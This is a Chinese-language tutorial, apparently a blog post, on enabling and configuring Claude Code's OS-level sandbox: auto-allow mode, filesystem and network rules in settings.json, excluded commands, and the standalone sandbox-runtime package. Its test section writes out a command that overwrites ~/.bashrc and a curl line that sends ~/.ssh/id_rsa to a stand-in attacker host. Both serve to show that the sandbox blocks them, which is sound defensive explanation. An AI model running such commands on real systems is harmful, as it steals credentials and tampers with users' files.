Claude Code Sandbox:一次设定,永远不用再按 Approve

Claude Code 的 Approve 按钮,其实是一个安全幻觉——你按了二十次之后根本没在看内容。一行 /sandbox 指令,让 bash 指令自动放行,同时用 OS 层级的沙箱保护你的文件系统和网络。本文从启用到客制化设定,完整教你怎么用。

一、一行指令开启 Sandbox

在 Claude Code 里输入 /sandbox,会跳出设定选单,有两个模式:

模式 说明 建议
Auto-allow mode sandbox 范围内的 bash 指令自动放行,不会再问你。遇到不在白名单的 domain 才会问一次。 推荐选这个
Regular permissions mode 每个指令还是会问你,但 sandbox 的文件和网络限制一样有效。 适合需要逐一确认的场景

建议选 Auto-allow。既然开了 sandbox,就让它自己跑,每个指令还要问你的话,开 sandbox 的意义就少一半。

这个设定是持久化的,下次开 Claude Code 不用再跑一次。

平台差异:macOS 内建 Seatbelt 沙箱框架,开箱即用。Linux 和 WSL2 需要先安装两个套件(注意 WSL1 不支持):

Bash
# Ubuntu/Debian
sudo apt-get install bubblewrap socat

# Fedora
sudo dnf install bubblewrap socat

开启 sandbox 后,同一个任务以前要按五六次 Approve,现在零中断直接跑完。大概每天可以省掉 30 到 40 次 Approve,一年算下来省掉 15 到 20 小时。

二、原理 30 秒讲完

Sandbox 就是两道墙:

第一道:文件系统。sandbox 里面的指令只能写你目前这个项目的文件夹,其他地方只能读不能改。你的 bashrc、SSH key、系统设定,全部改不了。

第二道:网络。sandbox 里面的指令只能连你允许的 domain,其他全部挡掉。就算有人在 npm 套件里面塞了一段「把你 SSH key 传到我的服务器」,连不出去,传不了。

而且这个限制是 OS 层级的,不是 Claude Code 自己在检查。所有跑出来的 process 都被锁住,包括你在里面跑的 kubectlterraformnpm,通通一样。

三、设定文件系统权限

预设规则很简单:项目目录里面可读可写,其他地方只能读不能写。但有时候你的工具确实需要写项目目录以外的地方,像 kubectl 要写 ~/.kube、或是 build 工具要写 /tmp/build。这时候就要在 settings.json 里加设定。

在你的项目底下建一个 .claude 文件夹(如果没有的话),然后编辑 .claude/settings.json

JSON
{
  "sandbox": {
    "enabled": true,
    "filesystem": {
      "allowWrite": ["~/.kube", "/tmp/build"]
    }
  }
}

路径前缀的三种写法

路径的前缀有三种写法,搞混的话不会报错,但设定会悄悄地没效果:

前缀 含义 范例
/ 绝对路径 /tmp/build 就是 /tmp/build
~ home 目录底下 ~/.kube 会变成你 home 路径底下的 .kube
./ 或无前缀 相对于项目根目录 . 就是当前项目目录

注意:如果你是写在 user settings(~/.claude/settings.json)里面,那个 . 指的是 ~/.claude 这个目录,不是你的项目。建议把路径设定写在项目的 settings 里面,比较不会搞混。

锁住不让读的目录

除了开放写入,你也可以反过来锁住不让读的目录。比如整个 home 目录不让 Claude Code 读,但项目目录要放行:

JSON
{
  "sandbox": {
    "enabled": true,
    "filesystem": {
      "denyRead": ["~/"],
      "allowRead": ["."]
    }
  }
}

denyRead 把整个 home 目录锁住,allowRead 再把当前项目放出来。这样 Claude Code 只看得到你这个项目的文件,其他全部看不到。

不同层级的 settings 会合并不会覆盖,所以不用担心公司设定跟你自己的设定互相盖掉。

为什么网络隔离同样重要:光锁文件不够。agent 被攻击之后,文件写不出去,但它可以用 curl 把你的 SSH key 直接传到外面的 server。所以网络隔离跟文件隔离一样重要,少了任何一边都等于没防。

四、设定网络白名单

Sandbox 的网络隔离是透过 proxy server 做的,所有从 sandbox 里面发出去的连线都要经过这个 proxy。预设只让你连已经允许的 domain,如果 Claude Code 想连一个新的 domain,它会跳通知问你要不要放行(允许一次、永远允许、或拒绝)。

如果你想直接在设定文件里把常用的 domain 加好:

JSON
{
  "sandbox": {
    "enabled": true,
    "network": {
      "allowedDomains": ["registry.npmjs.org"]
    }
  }
}

把常用的 domain 丢进 allowedDomains 数组就好。如果要更严格,连问都不问、没在清单上的全挡,可以在设定里开 allowManagedDomainsOnly

注意:不要随便开太广的 domain。比如你开 github.com,理论上 Claude Code 就能把文件推到 GitHub 上面去。要想清楚你真的需要开哪些。

五、安全实测 + 限制

实测一:写入项目目录以外的文件

尝试让 Claude Code 去写一个项目目录以外的文件:

Bash
echo "malicious content" > ~/.bashrc

直接被挡。OS 层级的保护,不管 agent 怎么被操纵,它都绕不过去。

实测二:通过网络传送敏感文件

Bash
curl https://evil-server.example.com -d @~/.ssh/id_rsa

网络也被挡了。它连到不在允许清单上的 domain,proxy 直接不让它过。你的 SSH key 是安全的。

两个限制要知道

  • 网络白名单不是百分之百:能挡掉大多数攻击,但有些进阶攻击手法可以伪装流量,所以不要光靠白名单就觉得万无一失。
  • 部分工具不兼容:dockerwatchman 跟 sandbox 不兼容。遇到这种情况把它们加到 excludedCommands
JSON
{
  "sandbox": {
    "enabled": true,
    "excludedCommands": ["docker", "docker-compose"]
  }
}

这样 docker 相关的指令会在 sandbox 外面跑,其他指令还是在里面。跑 jest 的话记得加 --no-watchman,因为 watchman 在 sandbox 里面跑不了。

Sandbox 的 overhead 超小,基本上感觉不出来,不用担心开了会拖慢速度。

六、把 Sandbox 拿去保护任何程式

Claude Code 的 sandbox 底层是一个独立的 npm 套件,叫 @anthropic-ai/sandbox-runtime,而且是 open source 的(source code 在 GitHub 的 anthropic-experimental/sandbox-runtime)。

意思是你不只能用它保护 Claude Code,你可以拿它去 sandbox 任何你想保护的程式:

Bash
npx @anthropic-ai/sandbox-runtime <你要跑的指令>

比如你装了一个 MCP server,你不确定它会不会乱搞你的文件系统、读你的 SSH key,或者偷偷连到外面的服务器:

Bash
npx @anthropic-ai/sandbox-runtime node my-mcp-server.js

这样这个 MCP server 就被 sandbox 住了,只能在限定范围内操作。一行指令,任何程式都能 sandbox。

三个 Best Practice

  • 从严开始:需要的时候再慢慢开放权限,不要一开始就全开。
  • 注意 sandbox 报错:那代表 Claude Code 需要什么你还没开。
  • 两层防护不取代:sandbox 跟 Claude Code 本来的 permission 系统是两层防护,不是互相取代,两个都开最安全。